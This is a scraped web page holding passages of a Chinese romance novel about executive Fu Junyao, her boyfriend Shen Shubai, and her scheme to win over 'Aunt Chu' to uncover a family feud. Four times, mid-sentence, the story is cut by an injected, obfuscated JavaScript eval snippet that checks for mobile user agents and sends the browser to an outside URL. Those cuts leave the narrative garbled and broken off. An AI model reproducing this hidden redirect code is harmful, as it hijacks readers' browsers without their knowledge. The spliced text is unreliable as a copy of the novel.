;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264513|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 某‘柔弱’CEO圈紧她的腰,声音夹得明显:“哪有?” 他又瞥她一眼,继续道:“说起来,我还是顶着继续被关起来和再挨一巴掌的风险来见的傅总,就想要点小慰藉,谁知道傅总这么不近人情。” “……” 他继续瞥她,眼底的试探半点藏不住:“不过想想也是啊,以前还被骂S、B,傅总哪有那么在乎我?” 喉间甚至拖出点哽咽。 “……” 死绿茶又回来了。 傅珺瑶眯眼睨他:“沈述白,你别得寸进尺,谁说S、B就一定是贬义了?也能是superboy啊。你还说我女妖精呢!” 男人避重就轻,接着耍赖:“这下连述述都不叫了,好,我明白,就是不在乎。” “……” 傅珺瑶瘪了瘪唇,眼珠一转,伸手去勾他的领带,领口扯松了些,唇角慢慢上扬。 她也学起他的语气,语速放慢:“哎呀,这以前也不知道是谁说,他就是再没脸没皮,也不会跟我扯上关系。” “哎呀还不知道是谁说,谁要是当了我老公,那可真是倒了大霉了。” 男人瞬然噤声。 傅珺瑶胳膊肘撑着他的肩,目光直愣愣地盯着他,继续说:“哎呀更不知道是谁说,说我脾气不好,说我不和善,还说我唯利是图。” “也是啊,你说我都这样了,这还跟我在一起的人,得是多没脸没皮呀,嗯?” 说完,她又朝男人扬了扬下巴,一脸无辜。 “……” 最后还是他败下阵来。 “那都是刻板印象,不算数的。” “那某人刚刚不还说我不在乎他吗?那我还是去在乎别人好了。”说罢,她推搡着他,作势要从他腿上下来。 他自然是不给她这个机会,手臂一收,把她搂得更紧。 “除了我,你还要在乎谁?林逸深?” 某人又吃醋了。 “我发现你这人就是个醋精,你明知道我对他一点意思都没有。”傅珺瑶钳着他的下巴咂舌。 沈述白努努嘴:“是啊,你们不过就是十年没见还默契十足的青梅竹马而已,我有什么好吃醋的?” 酸味之浓,浓到傅珺瑶忍不住龇牙。 “你都说十年没见了,这算哪门子的青梅竹马?而且哪里默契十足了?那都是别人说的。” 男人不说话,不过脸色明显和缓。 傅珺瑶勾唇笑笑:“我跟谁有默契你不是最清楚?你不是最懂我?” 他还是不说话,只是逐渐弯起的眉眼和上挑的唇角轻易便出卖了他。 傅珺瑶了然笑笑,侧了个身,两腿并起,斜坐在他腿上。 开始说起正事:“我这边有目标了,不过拿下还需要时间。” 沈述白的神色跟着收凛,一秒正经。 他点头:“一切小心。” 傅珺瑶嗯了声,又想起什么:“还有,后面我们尽量别见面了,上次在潮汐Bar都能被拍到,保不准在这也能被监视。” “那我得多想你。”气氛没紧张几秒,又松弛下来。 “你真想再挨一巴掌?再被关起来?” “不想。” “那就忍忍,等事情结束……” 傅珺瑶突然停顿,拖长字音,凑到他耳边去,低声说了句话。 男人眼瞳一缩。 她彻底推开他,在一旁的空地站稳,耳根爬上淡淡的粉晕。 “行了,我回家了,照顾好白白,照顾好自己!” 说完,傅珺瑶也不等他回答,脚下生风似的扭头就跑。 沈述白还坐在那里,肩背蓦然一松,嘴角滞后地咧开,最后捂着唇,笑得肩口发颤。 “那就忍忍,等事情结束……” “就给你去我那住的机会。” 64. 09 傅珺瑶刚处理完手里的工作,聂秘书突然进来,手里端了杯温水。 “傅总,咱们下午要不要过去铭逸那边?” 傅珺瑶不动声色地接过水,抿了一小口,有些发干的喉嗓得以润湿,她抬眸,红唇轻勾:“不去,你帮我跟陈经理打声招呼,备好香橙巴斯克和金骏眉。” 聂秘书不多问,点头照做。 临出门前,傅珺瑶又叫住她:“你帮我查点消息。” 办公室的门开了又合。 傅珺瑶拿了手机,先给李茗蕤打了电话过去。 那头的人像是没料到她会这会联系她,语气稍稍意外:“珺珺?是有急事吗?” 傅珺瑶低嗯一声,声音轻了几分。 “妈,我记得您以前和楚阿姨是不是同学来着?” 李茗蕤似乎是想了一会儿,才反应过来她口中的‘楚阿姨’是谁。 “你是说楚茜?是啊,她呀以前可是大才女,又开朗又大方,不过结婚之后性格就跟变了个人似的,很少露面。” 傅珺瑶空出来的右手捻着面前的钢笔,问:“妈,以前楚阿姨和您的品味像吗?她也喜欢看《理想国》吗?” 李茗蕤很快否认:“不,她喜欢波伏娃的《第二性》。” 《第二性》。 挂了电话之后,傅珺瑶还坐在凳上微微发愣。 纵使她不怎么了解哲学,也听过这本书。 一本关乎女性主义的著名书籍。 傅珺瑶在iPad里输入名称,仔细翻动屏幕,全都是关于这本书的介绍。 研究了大概半个小时,她在购物中心里下单了典藏版的《第二性》。 又突然想起选修过西方哲学史的某人。 她来了兴趣,也有两天没联系他了。 给人发了消息过去:【这本书看过吗?】 配上书籍图片。 某人这会应该不忙,很快回复:【傅总是打算研究女性主义?】 【不,这是我打算送给楚阿姨的,我妈说她喜欢这个,但我总觉得…不太够。】 她正想着让他给给建议,他的消息先了一步。 【可以连带着这本一起,没准会有用。】 下面配了张图。 傅珺瑶转头去搜索,看到精简的介绍后,唇边漫出满意的笑。 …… 傅珺瑶刚下电梯,顾清漪的车已经等在玻璃门后。 “你提前下班了?”傅珺瑶松了长发,跨步进了车内。 顾清漪往嘴里塞了颗糖,“下午没什么事,再说了傅总约我吃饭,我哪好意思迟到?” 傅珺瑶嗤笑了声,或许是记忆恢复的缘故,她和顾清漪之间更没什么好避讳的。 “不过珺珺,为了利益主动失忆,最后把自己赔进去,这真不像你的作风。”顾清漪调侃。 傅珺瑶对着镜子理正领口,松松散散地往后一靠,两腿交叠。 她沉吟半刻,说:“我也没想到去了洱南还能出事,当时确实没多留个心眼。” “不过么,”傅珺瑶侧头,手撑着下巴,目光直视车前,停车场内暖黄的灯光逐渐消失,被柔和的夕阳取代,晖光洒进她漆黑的眸中,牵动几分笑意:“也没吃亏,他人还行。” 话音刚落,顾清漪忍不住咂舌。 “能在你这说还行,那看来沈总甚得你心啊?” 傅珺瑶耳根一热,暂时没答。 顾清漪又继续:“你们俩,我当初怎么也不会想到你未来的男朋友是沈述白。” 傅珺瑶撑着下巴的手上移,指腹在耳廓扫过一圈,唇角勾起。 她也没想到。 思绪往外延伸,她又想到那天在环湖公园,他说的那些话。 嘴唇慢慢平下来。 或许正如他所说,有些东西就是注定的。 他们注定会经历那些事,有些人也注定逃不脱。 傅珺瑶的眸子骤然沉下来,原本轻松的声音里浸入几分严肃:“我也没想到,我们两家这么多年的恩怨大概率是另有隐情。” 顾清漪抿着唇,噤了声。 那双漆黑的眸微微垂下,从窗外透进来的晖光再也照不到一点。 只从车后镜里看到,她逐渐犀利的双神。 沉肃的声音里又隐含愠怒:“恒璟和启行二十多年的错位发展,也许还有我大伯和沈姑姑的两条命、我奶奶的病逝,我一定要让那人付出代价!” 车在十字路口停下,顾清漪终于转头,单手握稳方向盘,空出来的手轻轻覆在她手背。 “珺珺,不管怎样,我都会支持你。我已经问过我妈,只要拿到证据,剩下的事她会办稳妥。” 傅珺瑶稍稍一怔,抬眸,对上顾清漪笃定的视线,重重点头。 她的手慢慢转过来,指尖在顾清漪手心挠了两下,说:“一步一步来。” 车厢内安静下来。 窗外的红灯变绿,融进空气里的金光迅速往后飞动,橙红的天幕被渐浓的昏黑侵蚀,云层留下晚霞的最后一抹影子。没一会,圆月从黑夜中探头,加入喧嚣的都市夜场。 顾清漪在会所门口停稳车,接待的侍者帮她们开了门。 “顾总,欢迎光临。” “傅总,欢迎光临。” 顾清漪轻轻点头,把车钥匙递给侍者。 两人并排入所,经理已经在大厅等候,笑脸迎上:“顾总、傅总,已经为二位安排好林云厅旁边的竹叶厅就餐,餐品是根据二位口味量身定制,请。” 傅珺瑶和顾清漪相视一眼,跟着经理往竹叶厅走。 木质推拉门慢慢滑开,顾清漪毫不犹豫,进了厅,傅珺瑶临跨进门前,侧眸瞥了眼墙上挂的招牌,迟疑两秒才进去。 经理又问:“需要帮二位开瓶黑皮诺吗?非常配今天的餐品。” 傅珺瑶摇头:“不用,温水就好,谢谢。” 她们今天也不是为了品酒来的。 经理颔首,不再多问。 餐品很快上齐,两人有一搭没一搭地聊着闲天。 聊到顾清漪和许远舟婚礼之后,两人工作忙也没时间去度蜜月,聊到傅珺瑶明年打算争取董事会的位置往上升。 “你真打算让你哥再回恒璟?他都逃避过一次了,真能再次胜任吗?” 傅珺瑶耸耸肩:“归根结底他怕的是爷爷,只要没了爷爷的压迫,他不见得坐不好这个位置,就算赶鸭子上架也好、推人上树也罢,我都不能把恒璟交给一个不靠谱的人。” 顾清漪明白她的意思,擦了擦嘴,又想到什么,问:“珺珺,那你呢?你之后打算怎么跟傅爷爷‘斗争’?” 包厢内安静了两秒,窗边竹叶的清香飘进鼻息,傅珺瑶面色平静,似乎胸有成竹。 “不用斗争,反正他已经答应我的赌,他既然更看重我的价值,那他就没有别的选择。况且我如果真能让大伯瞑目,不是也能以情取胜?” 顾清漪掀眸,视线和她短暂交汇,下巴扬起,饶有深意地点头,语气松散下来。 “恢复记忆就是不一样哈。” 傅珺瑶笑笑不语。 包厢门突然被敲响。 顾清漪喊了声进。 经理滑开门,只站在门口,弯着眉眼道:“顾总,现在需要帮您结账吗?” 顾清漪斜眸,和傅珺瑶同时起身。 “直接在我的账上划吧。” 经理弯身点头:“明白。” 两人拿好东西,一前一后出门。傅珺瑶半个身子才侧出去,旁边林云厅的门突然开了。 出来三个人。 最前面的男人女人没有迟疑,转身往走廊另一边走。 跟在他们身后的女人却陡然停下脚步。 双目微闪,瞳仁骤缩。 走廊里的灯光足够亮,亮到任何情绪都不足以掩藏。 傅珺瑶的身体堪堪从包厢出来,肩口微颤。 脸上的讶色只停留几秒,她瞪眸扬唇,尾调也下意识上抬:“楚阿姨?好巧,在这遇到您!” 顾清漪走出去段距离,又慢慢退回来,眉头轻挑:“楚阿姨,好久不见!” 楚茜似乎没想到会在这里遇到两人,嘴唇无声上扯,眉尾朝下延展,视线在两人身上来回移动。 然后才笑道:“珺珺、清漪,好巧,在这遇到你们。” 差不多走远的男人女人回头,见楚茜停在原地,也跟着折返。 “姐,你认识?”男人问了声。 楚茜两手交叠在腹前,缓缓捏紧,斜瞥男人眼,干笑解释:“这位是傅总,铭逸就是他们集团的。” 男人的目光慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277588|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移过来,短暂的打量后,双手前伸,腰背弓起,客客气气道:“傅总好。” 傅珺瑶简单回握,嗯了声:“你好。” 又转头,重新看向楚茜,眸光在她身上快速扫过,唇边的笑意更深:“楚阿姨,您今天这条裙子好衬您,比那天的白裙还要好看,这丝巾也跟您的气质特别搭。” 她稍稍停顿,语气更加柔和,继续道:“我前两天还跟我妈妈聊到您,说上次他们同学聚会的时候您恰好有事没去,但大家都提到您,聊起您当年的风云往事,我也经常听我妈妈说您是她们哲学系出了名的才女。” 楚茜下意识垂眸瞟向身上的衣服,抬手顺了顺耳后的短发。 稍微僵硬的唇角依然挡不住喜色,语气内敛:“我也是随便穿穿,人已经老了,风云也早就过去了。” “哪有?”顾清漪出来搭腔,顺势轻挽着女人:“您这气色多好?您的光阴还长着呢。” 楚茜顺头发的动作更加频繁,笑意不止于唇角,从眼底冒出来。 傅珺瑶盯着她看看,又扫过旁侧安静的男人女人。 问:“您今天是跟家人去看房吧?我今天是听人说您去了铭逸,不过我下午有事,没能过去接待您,陈经理没有怠慢您吧?” 闻言,楚茜赶忙摇头:“没有没有,还劳烦你准备了巴斯克和金骏眉,我这又麻烦你了。” 傅珺瑶主动牵起她的手,和身边的顾清漪相视一眼。 又往前走了两步,拉近和楚茜的距离。 说:“不麻烦,上次也跟您说了,有事尽管找我。您今天看房看得还满意吗?如果需要定下来,我就让陈经理安排。” 旁侧的男人突然接话:“很满意,傅总,恐怕确实还得麻烦您帮帮忙……” 话音未落,楚茜狠狠朝着男人的手臂拍过去,剜他一眼。 男人瞬间噤声,明显受气,但也没继续说下去。 “不用,珺珺,他就是个沉不住气的。”楚茜扯着傅珺瑶的胳膊晃了晃。 “姐,我哪有?我这不是担心好不容易看中的房子被别人先买走了吗?我这首付都快凑齐了……” “闭嘴!”楚茜回头厉喝,再次阻断他的话。 傅珺瑶面色不惊,眼珠轻转,语气依旧从容。 “这个好说,楚阿姨,您不用担心,我直接跟陈经理打个招呼就好了。” 和钱挂钩的问题,就算不上问题。 说罢,她掏出手机,找聂秘书。 楚茜却再次拒绝,生怕麻烦到她一点。 傅珺瑶手上的动作未停,指尖快速在屏幕上点动:“我吩咐好了。” 又不等楚茜继续拒绝,傅珺瑶挽着她的手,以不在走廊挡路为由,拉着人往外走。 多番宽慰,让她抛去心理负担。加上顾清漪帮着搭腔,楚茜终究也没再说什么。 出了会所,傅珺瑶和顾清漪把人送上车。 和楚茜同行的男人女人一再躬身感谢,楚茜的视线也半天难从傅珺瑶身上挪移开。 “楚阿姨,路上注意安全,代我向苏伯伯问好。”傅珺瑶朝女人绕手。 楚茜抬起的手臂猛然一僵,滞后地摇了摇,才点头。 “楚阿姨再见。”顾清漪也凑上前。 侍者正要帮忙关门,楚茜突然拦住他。 倾身探头,稍稍下撇的眸子对上来,话语似乎在喉间哽住,好一会才艰难开口。 “珺珺……” 傅珺瑶将她的神色收入眼底,笑着应声。 她的唇一再颤动,眼尾下撇得越来越深,整个人都慢慢紧绷。 傅珺瑶也不催促,耐心等待。 安静了大概十几秒,她的肩又蓦然一松,轻轻摇头,低柔的声音略显沉重:“我的意思是,珺珺、清漪,你们回家路上注意安全,一定要小心、再小心。” 傅珺瑶几乎瞬间点头回应,不以为然笑笑:“您放心吧,您路上也注意安全。” 黑色的车门被侍者关严,很快,黑色宝马消失在车道转角。 傅珺瑶收回视线,唇角的弧度渐渐消失。 两人上了车。 临开车前,顾清漪突然道:“看来真的大有问题?” 傅珺瑶利索地系好安全带,盯着窗外的霓虹,浅哼了声:“那就越能证明我们一点都没选错路。” 65. 10 隔天,傅珺瑶下班后去了城西的一家私人定制饰品店。 手机里还留着某人发来的最后一条消息。 【今早起来发现耳钉断了一截,确实也该换换了。】 这家店是私人会员制,不过好在老板是她同学。 “傅总,欢迎光临呀。”女老板亲自出来接待。 傅珺瑶跟人打了招呼,问她有没有黑色的男士耳钉。 “喜欢黑玛瑙还是黑曜石?” 傅珺瑶想了想:“黑曜石吧。” “黑曜石种类也挺多的,从普通到收藏级,普通的就是这种纯黑的,然后还有冰种的,收藏级的一般就是这种彩虹黑曜石。” 彩虹黑曜石…… 女老板戴着手套把东西拿出来,开了照光,原本黑色的曜石面瞬间闪起彩光,轻轻晃动,细密的光点汇聚,有些像猫眼光。 傅珺瑶不住开始想象,想象某人戴上的样子。 单耳,彩光。 嘶…… 双眸眯起。 傅珺瑶暗暗咂舌,这得多烧。 又看了眼冰种黑曜石,光感没有彩虹黑曜石好,不过也还行。 “怎么样?”女老板问。 傅珺瑶迟疑两秒,最后摊手道:“都要吧,干脆黑玛瑙你也帮我一起加上,耳钉的细针都要纯银,免得过敏。” “没问题!”女老板迅速开了单,给她签字。 傅珺瑶看了眼工期,记下时间。 女老板话锋又突然一转:“傅总,你这男士耳钉…是送给沈总的?” 傅珺瑶付定金的动作微顿,抬眸,眼底闪过一抹讶色。 女老板解释:“虽然我平时是不怎么看新闻啦,不过你和沈总的新闻,我还是看到了的。” 傅珺瑶浅浅勾唇,轻哼了声,觉得也没什么好隐瞒的,点头承认。 女老板得到确认,明显更兴奋:“这年头真是什么稀奇事儿都有,果然人还是得活久一点,谁能想到你们俩会在一起?到时候结婚可别忘了邀请我啊!” 傅珺瑶笑了笑,随口应付过去。 “那我先走了,等东西定制好了联系我。” “没问题!” 傅珺瑶从店里出来,天色已经黑了。城西不比市中心的霓虹璀璨,街道上的车流也不紧密,没有那么喧嚣。 她侧头,挨在饰品店旁边的一栋大楼已经亮起灯,右侧顶上的招牌灯也在黑夜中更加显眼。 车钥匙在掌心绕了个圈,傅珺瑶收回视线,往停车位走。 走出没两步,她的步子瞬间被打乱。 “嘶——” 眉头一瞬紧蹙。 她俯身低头,视线定格在脚边的石子。 她今天没换衣服,下车前又把将近十厘米高的高跟鞋重新换上。脚边近乎麻木的剧痛从皮肉往关节里钻,傅珺瑶紧咬着牙,在原地停了会,然后慢慢挪动,走到身侧的长椅旁坐下。 崴到的左腿抬起,搭在右腿,她深吸了口气,眉间的皱褶还没完全消失,手掌按在脚踝,轻轻揉弄,想把那股痛劲揉过去。 她半垂着眸,大半灯光都被挡在脑前,只有腿上落得点光亮。 可没一会,腿上的光突然也被挡住。 “珺珺?你没事吧?”熟悉的声音柔和地溜进耳膜,傅珺瑶手上的动作即刻止住,慢慢抬起头。 女人又换回素净的白裙,一张不施粉黛的脸上血色不重,隐隐透着苍白。女人稍稍俯身,眉眼下撇,手伸到一半悬空,似乎想碰上来,却又没有碰上来。 “楚阿姨?又遇到您了!”傅珺瑶眸中闪过一丝惊喜,望着女人笑笑,松了手,往旁边挪了挪,长椅留出一个空位,她摇头解释:“没什么事,就不小心崴了脚,在这坐着缓缓。” “崴了脚?还能动吗?不会伤到骨头了吧?” 楚茜顺势坐了下来,俯身靠得更近,低柔的声音里带上了几分焦急。 皮肤朝内收紧,脸上挤出几道明显的皱褶。 傅珺瑶很快摇头:“没事,就是有点痛而已,缓一会就好了。” “还是去医院看看吧?万一伤到骨头就不好了。”楚茜蹙起来的眉眼依然没有平缓下去。 傅珺瑶坐直身子,左腿往另一边收了收,不以为然:“真没事,一个小石头绊脚而已,跟我之前坠海比可轻多了,我那会受的伤到现在还留着疤呢。” 这话一出,楚茜的脸色骤变,颊侧的皮肉骤然绷紧,同时往两边撇,眉眼也跟着平拉开。 原本望向傅珺瑶的双神回收,明显躲避着她。 傅珺瑶不明所以,问:“楚阿姨,怎么了吗?” 声音混进晚风,慢慢吹到楚茜的耳边,她猛然一颤,脖颈似乎有些发僵。 两手捏紧搁在腿上的包,骨节隐隐外凸。 她仿佛用了很大的气力扯动唇角,挤出一个勉强看的过去的笑,摇头:“没…没什么,我是想到你之前失踪的事,那一个多月……肯定很不好过吧?” 傅珺瑶下垂的双目从她的包上移回来。 “还好,反正都过去了。” 话语至此,气氛一时陷入沉默。 傅珺瑶悄然动身,往她身侧挪近,语气放软,主动转了话题:“楚阿姨,您是过来买书的吗?” 距离她们不远处的大楼,黑夜中再显眼不过的招牌安分地靠在墙沿,等待主动发现它的行人。 楚茜又是一愣,视线往大楼瞟了眼,反应慢了半拍。 她摇头:“不是,我…我就是随便逛逛而已。” 说完,她又抬腕看了眼时间,似乎是没有再继续跟她聊下去的打算。 “珺珺,你…你现在感觉好些了吗?如果真的没事,这时间也不早了,我…我就先回去了。” 傅珺瑶即刻会意,主动起身,又不紧不慢拉着她起身。 手掌轻扣在她肩后,温和地拍了拍,道:“我没事了,楚阿姨,您的车停在哪,我送您过去。” “不不不,我没开车,我直接叫车就好了。” 楚茜连声拒绝,说完便打算走。只是手腕还没来得及从傅珺瑶手中抽出。 傅珺瑶拦下她,干脆道:“哪用那么麻烦?我开车了,我送您回去。” “不不不,真的不用。” 楚茜两只手摆得更频繁,手腕使力,完全不想麻烦到她。 “没关系,我今晚恰好回傅宅,顺路。楚阿姨,这天色也晚了,如果您真的不让我送您,我怕是要担心一路呢。” 楚茜原本还想拒绝,傅珺瑶又顺势挽过她的手,说自己的车就在附近。 半推半就间,楚茜还是跟着她上了车。 傅珺瑶把冷气调到刚刚好的温度,又等她系好安全带,才出发。 “楚阿姨,您很喜欢这类的白裙吗?恰好Dior的秋冬系列有上新版型、样式都不错的白裙,感觉您穿起来会很衬气质,我之后联系他们那边,让他们直接给您送到家里吧?” 楚茜低头看了眼身上素净的裙子,出口依然是拒绝的话。 “不用,我也许真的是年纪大了,衣服能穿就好。” 头撇向窗户那侧,傅珺瑶也看不到她的神情。 她才欲开口,楚茜又突然补充了句:“就像人活着一样,到了现在,能活着就好。” 低柔的声音慢慢下沉,沉入深海,浸泡了所有的情绪,只拖出绵长的潮湿。 傅珺瑶直视前方,窗外不远处,绿灯转黄,又转红。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车在别墅院外停稳。 “楚阿姨,把您送到我就放心了,您早些休息,保重身体。”傅珺瑶在她下车时还不忘叮嘱。 楚茜停在车前,点头再点头。 她走出两步,不知怎的又挪了回来。额前的头发被她频繁拨弄,傅珺瑶等着她开口。 “珺珺。”她的手突然闯进车窗,抓紧傅珺瑶的手腕。 “嗯?”傅珺瑶轻扬下巴,温声应和。 “我…我能不能加你的联系方式?”楚茜试探性问。 “当然啦,应该我加您才是!”傅珺瑶也不问缘由,爽快答应,下一秒,手机已经送到楚茜面前。 楚茜的动作顿了两秒,触动屏幕的手指稍稍颤动。 她又解释:“我…我是想等我弟弟能付首付了,我就直接联系你,可以吗?” “当然!您放心,我的手机24小时都不关机。” 楚茜面中的肌肉抽了抽,浅笑着点点头。 “珺珺,你回去也注意安全,一定要注意安全。”她嘱咐。 傅珺瑶耐心答:“好。” 看着楚茜进了门,傅珺瑶才调转方向。 踩动油门前,她盯着那扇已经合上的大门,唇边的笑完全平下去。 视线又触及副驾驶座上的东西,动作蓦然顿住。 手机突然响了声。 她抄手,看到弹出来的消息,黑眸彻底暗下去。 她没回复,把手机扔到副驾驶座,踩了油门,车子飞速前驶。 原地的空气里,只留下一抹从半降的车窗内嗤出来的冷笑。 66. 11 傅珺瑶回了傅宅。 李茗蕤和傅臣北都在一楼。 见女儿回来,两人很快起身。 “珺珺,回来了?你说想吃的水果沙拉在桌上。”李茗蕤上前。 傅珺瑶勾唇点头,“谢谢妈。” “珺珺,事情进展得还顺利吗?需不需要爸爸帮忙?”傅臣北问。 傅珺瑶摇头,说目前她一个人就足够。 “我哥呢?我听说他回来了。”傅珺瑶今晚回来是为了来找傅淮湛的。 “他在房间。” 傅珺瑶拿着水果沙拉上楼,刚上到二楼,在楼梯口迎面撞上老爷子。 傅珺瑶脚步微顿,在老爷子跟前停下来。 “爷爷。”语气不咸不淡。 老爷子视线在她身上一番打量,语气沉沉。他嗯了声,问:“事情查得怎么样了?能确定了么?” 傅珺瑶稍作停顿,想了想,回答:“爷爷,这事也急不来。如果打草惊蛇,最后可能是一场空,您只需要相信我,不要干涉我,静静等待就好。” 老爷子背过手,瞳仁微缩,不发一言。 傅珺瑶没有避开他的视线,手里装水果沙拉的盒子被她慢慢捏紧,黑眸直勾勾地迎上去。 那双苍老的灰眸左右轻轻浮动,视线里带着重重的审视,又夹杂着一丝难以察觉的惊诧。 是老爷子先挪开目光,他侧身,留张侧脸给傅珺瑶,声音不减沉肃:“那你最好也不要让我失望。” 傅珺瑶喉间挤出声轻哼,浅带笑意:“您放心,不会让您失望的。” 老爷子慢悠悠回了房间。 房门合上的那一刻,傅珺瑶终于松了口气。 换了个手拿水果沙拉,眉头下意识上挑。 在老爷子面前,她还是没能完全自如。 不过最起码,她也能不像之前那样,去完全压抑自己。 傅珺瑶转身,直奔傅淮湛的房间。 傅淮湛似乎也料到傅珺瑶会来找他,在开门之后也没有多惊讶。 “你的消息倒是挺灵通,我都没跟你提过我今晚回来。”傅淮湛看了眼她手里拿的东西,把桌边的位置让给她。 傅珺瑶自觉坐下,抄起叉子开始吃。 “消息不灵通,胜算不就没有了?” 傅淮湛扯了扯唇,在床尾坐下来。 “找我什么事?”傅淮湛开门见山。 傅珺瑶回头瞥了他一眼,短暂的审视过后,扬出还算满意的笑。 语气里揶揄的味道明显:“这几天有长进,挺好的。” “……” “我需要你帮忙。”傅珺瑶也不绕弯子。 “帮你查消息?”傅淮湛不解。 如果真是查消息,他不一定能查到比傅珺瑶更全的消息。 傅珺瑶瞬时否认。 “是恒璟的事,可能需要你帮我管管。” “为什么?”傅淮湛更不解。 傅珺瑶吃东西的动作停下来,再次回头,对上他的视线。 黑眸微沉,略见犀利,声音骤然低下来:“当然是有人可能不想让我继续坐在这个位置上了。” 傅淮湛瞳仁骤缩。 …… 傅珺瑶到恒璟的时候,聂秘书已经在办公室等着。 “傅总,关于悦霁天地的项目,苏总说约您明天下午三点去签约。” 傅珺瑶翻动iPad上的行程安排,点头应下来:“我知道了。” “还有您之前订的书,已经到了。”聂秘书指向身侧的礼盒。 傅珺瑶看了眼,不紧不慢侧过眸,和聂秘书对视几秒。 聂秘书只点点头,出了办公室。 傅珺瑶翻出刚加上不久的联系人,盯着崭新的聊天框,话语在脑子里提前过了一圈,指尖在屏幕快速敲动。 【楚阿姨,您的手帕昨晚掉在我车上了,我今天下班后给您送过去,您方便吗?】 那头暂时没有回复。 傅珺瑶不着急,关了手机开始工作。 一直到中午休息的时间。 楚茜给傅珺瑶拨了电话过来。 “珺珺,我在恒璟楼下的露天停车场,过来拿我的手帕。”女人的声音轻和依旧。 傅珺瑶瞬间从小沙发爬起来,两只脚光着踏在地毯上,步伐略显慌乱。 她也没想到楚茜直接过来了。 “楚阿姨?好,您稍等,我马上下楼。”傅珺瑶边回应那头边换鞋。 最后抄起办公桌侧的礼盒,大步跨到电梯口。 黑色的宝马车前,傅珺瑶稍微躬腰,视线越过车窗,和车里的女人对视。 “楚阿姨,我没想到您会直接过来,久等了。”傅珺瑶语气里带满歉意,红唇牵弯,不见厉色。 楚茜缓慢摇头,素净苍白的脸上仍然难掩郁色。 “不不不,怨我昨天下车前没检查一下,不想再麻烦你跑一趟,我就自己过来了。” 傅珺瑶唇边的弧度铺得更深,把手帕递上前:“哪儿的话?其实我也要庆幸有这个契机,才能把给您准备的礼物送出去。” 楚茜收好手帕,搭在方向盘上的动作微顿,脖颈慢慢转过去。 窗外原本半掩在云层的太阳突然完全探出身子,四散的光线骤然强烈,从傅珺瑶的身后穿过,直抵楚茜微微缩起的眸子。 “礼物?”楚茜的声音隐隐发颤。 傅珺瑶双手捏着礼盒,缓缓往窗内递进去。 “也是偶然听到我妈妈提起,您喜欢《第二性》这本书,恰好我的秘书也喜欢哲学书,她那天买的时候,我恰好想到您,所以就跟着她一起买了。” 说完,她低下头,有些不好意思地笑笑:“我买完之后还觉得突兀呢,不过昨天看到您去书店,我还是想要送给您,希望您能喜欢。” 楚茜悬空的手臂微微发僵,却下意识接过来礼盒。 精美的礼盒包裹着两本书,楚茜先看到那本灰白色的书。 《第二性》。 如傅珺瑶所说。 慢慢挪到另一本,视线立刻转过来。 动作之干脆,那头柔软的短发也跟着带了锋芒。 傅珺瑶抬手捏了捏耳垂,继续解释:“这个也是我的秘书推荐的,说是很不错的书,我就一起买来送您了,希望您不要嫌弃才好。” 正午顶中的太阳或许是遇上开心事,金灿灿的光线肆意倾泻,在傅珺瑶周身甚至围成了四散的光圈,又尽数落进楚茜眼底。 楚茜暂时没答,手上颤得更厉害,视线再次挪移回去。 盯着那本书,很久很久。 视线始终停在书名上。 海德格尔的《存在与时间》。 从窗口钻进来的金光投下,隐隐刺眼。 楚茜突然吸了吸鼻子。 转过头时,傅珺瑶看到她微微发红的眼眶,笑容收敛。 “珺珺,谢谢你。我很喜欢,真的谢谢你。”她的语气带了几分哽咽。 “您喜欢就好。我也是想着最近苏伯伯应该在忙着项目的事,难得有时间陪您,所以才想送书给您。” 楚茜嘴边弯起的弧度平了平。 “不过您放心,咱们这个项目也快结束了,等明天我和苏伯伯签完合同,后面的事就可以放手交给下面的人了。” 楚茜又乍然抬眸,重复:“明天?” 傅珺瑶笑笑:“对。” 楚茜还没来得及说什么,傅珺瑶的手机突然响了几声。 “楚阿姨,我那还有事要处理,礼物您喜欢就好,等下次有空,我约您出来喝茶!” 楚茜嘴唇动了动,原本要出口的话又被她吞回去。 “啊……好。” “那您路上注意安全,到家了给我发个消息,再见!” “……好。” 傅珺瑶是等楚茜的车开走之后,才回的集团。 刚出电梯,聂秘书已经等在那里。 “傅总,我的消息没发错时候吧?”聂秘书试探性开口。 傅珺瑶眯眼笑笑:“挺好的,时间卡得刚刚好。” 聂秘书瞬然松懈,笑呵呵道:“那就好。” “不过傅总,您确定真能像您想的那样吗?” 聂秘书玩笑不过几秒,又很快正形。 傅珺瑶沉吟片刻,语气十分笃定。 “一个被压抑久了的人,如果有翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 